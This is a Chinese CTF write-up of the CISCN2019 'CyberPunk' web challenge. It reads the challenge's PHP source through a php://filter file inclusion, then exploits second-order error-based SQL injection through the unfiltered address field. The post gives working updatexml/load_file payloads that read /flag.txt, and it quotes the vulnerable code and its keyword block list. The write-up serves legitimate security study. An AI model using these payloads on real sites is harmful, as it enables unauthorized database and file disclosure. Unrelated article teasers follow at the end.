[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入

2023-10-08 11:13

本文主要是介绍[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

buu上 做点

首先就是打开环境 开始信息收集

发现源代码中存在?file

提示我们多半是包含

我原本去试了试 ../../etc/passwd

失败了 直接伪协议上吧

php://filter/read=convert.base64-encode/resource=index.phpconfirm.phpsearch.phpchange.phpdelete.php

我们通过伪协议全部读取

我们提取关键信息

index.php

ini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?>

confirm.php

<?phprequire_once "config.php";
//var_dump($_POST);if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = $_POST["address"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if($fetch->num_rows>0) {$msg = $user_name."已提交订单";}else{$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";$re = $db->prepare($sql);$re->bind_param("sss", $user_name, $address, $phone);$re = $re->execute();if(!$re) {echo 'error';print_r($db->error);exit;}$msg = "订单提交成功";}
} else {$msg = "信息不全";
}
?>

change.php

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

delete.php

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单删除成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

 search.php

<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

首先进行判断

每个文件中都存在 过滤即

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

同时都是对

 if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))

进行处理 但是我们能发现一个地方是没有进行处理的

在change.php的

    $address = addslashes($_POST["address"]);

是不存在正则处理的 这里就给我们实现了注入的地方

这里的注入流程是这样的

我们使用报错注入updatexml我们首先通过输入 updatexml存入数据库例如' and updatexml(1,,0x7e,2)#就会作为 adress 原封不动的存入数据库这个时候我们再一次通过修改地址来修改因为其中的语句$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];会将原本的地址作为 old_address 输入所以语句会修改为$sql = "update `user` set `address`='".$address."', `old_address`='"' and updatexml(1,,0x7e,2)#"' where `user_id`=".$row['user_id'];重点是在
`old_address`='"' and updatexml(1,,0x7e,2)#"'这里因为执行语句后 通过 updatexml() 会执行报错 if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}这样我们就实现了注入

 写入报错语句

对语句进行更新 这样旧地址会输入到句子中

实现了报错

但是这道题不在数据库中。。。。。

也不知道师傅们怎么做出来的

使用 load_file()函数

' and updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),3)#

 实现了报错

但是长度不够

我们通过substr即可

' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),3)#

这道题 确实不是特别难 但是其实还是不是很简单。。。。

这篇关于[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/164882

相关文章

公共筛选组件(二次封装antd)支持代码提示

如果项目是基于antd组件库为基础搭建,可使用此公共筛选组件 使用到的库 npm i antdnpm i lodash-esnpm i @types/lodash-es -D /components/CommonSearch index.tsx import React from 'react';import { Button, Card, Form } from 'antd'

yum install 失败报错`XZ_5.1.2alpha' not found (required by /lib64/librpmio.so.3)

/export/env/py3.6/lib/liblzma.so.5: version `XZ_5.1.2alpha' not found (required by /lib64/librpmio.so.3)   到/export/env/py3.6/lib cp /lib64/liblzma.so.5.2.2 . sudo ln -s -f liblzma.so.5.2.2 liblzm

BD错误集锦6——【IDEA报错】tomcat server功能无效,报错Java EE: EJB, JPA, Servlets

在网上查找原因,发现是非法关闭IDEA导致的。 Open Settings | Plugns and enable it. 在设置中enable JAVA EE和tomcat server即可。 参考: https://stackoverflow.com/questions/43607642/intellij-idea-plugin-errorproblems-found-loadin

关于文章“python+百度语音识别+星火大模型+讯飞语音合成的语音助手”报错的修改

前言 关于我的文章:python+百度语音识别+星火大模型+讯飞语音合成的语音助手,运行不起来的问题 文章地址: https://blog.csdn.net/Phillip_xian/article/details/138195725?spm=1001.2014.3001.5501 1.报错问题 如果运行中报错,且报错位置在Xufi_Voice.py文件中的pcm_2_wav,如下图所示

pom.xml第一行报错

错误信息:org.apache.maven.archiver.MavenArchiver.getManifest(org.apache.maven.project.MavenProject,org.apache.maven.archiver.MavenArchiveConfiguration)  解决办法:  Help–>Install From Site Connectivity(instal

自动驾驶规划中使用 OSQP 进行二次规划 代码原理详细解读

目录 1 问题描述 什么是稀疏矩阵 CSC 形式 QP Path Planning 问题 1. Cost function 1.1 The first term: 1.2 The second term: 1.3 The thrid term: 1.4 The forth term: 对 Qx''' 矩阵公式的验证 整体 Q 矩阵(就是 P 矩阵,二次项的权重矩阵)

github 报错 git fatal: unable to write new index file

错误一:git fatal: unable to write new index file主要原因就是服务器磁盘空间不够导致的,增加服务器空间就OK了在百度上面搜索没得到什么有效信息,在gooogle上搜索得到很多有效信息 Finding large directories with something like the following helped clean up some log fi

前端项目报错chunk-libs.e495f7a4.js:41 Failed to execute ‘postMessage‘ on ‘DOMWindow‘:

最近一次vue项目打包之后,在控制台出现了一个错误如下 chunk-libs.e495f7a4.js:41 Failed to execute 'postMessage' on 'DOMWindow': The target origin provided ('file://') does not match the recipient window's origin ('null').

php 成员变量赋值用连接符报错

今天遇到一个问题,对类中的一个成员变量赋值,一直报错。就是一个常量连接一个字符串 class FileUploadController extends Controller{private $path = BASEDIR."/Public/Upload"; //上传文件保存你路径private $allowType = array('jpg','png','gif');

Tex报错解决20201215

报错: “File `cctart.cls’ not found. \usepackage” 解决:将 \documentclass 里载入的文档类,从 cctart(也可能是其它) 更换为 ctexart; 解决来源 可参考CText解决 问题来源:http://lsec.cc.ac.cn/~szjs/moban.htm 《数值计算与计算机应用》模板编译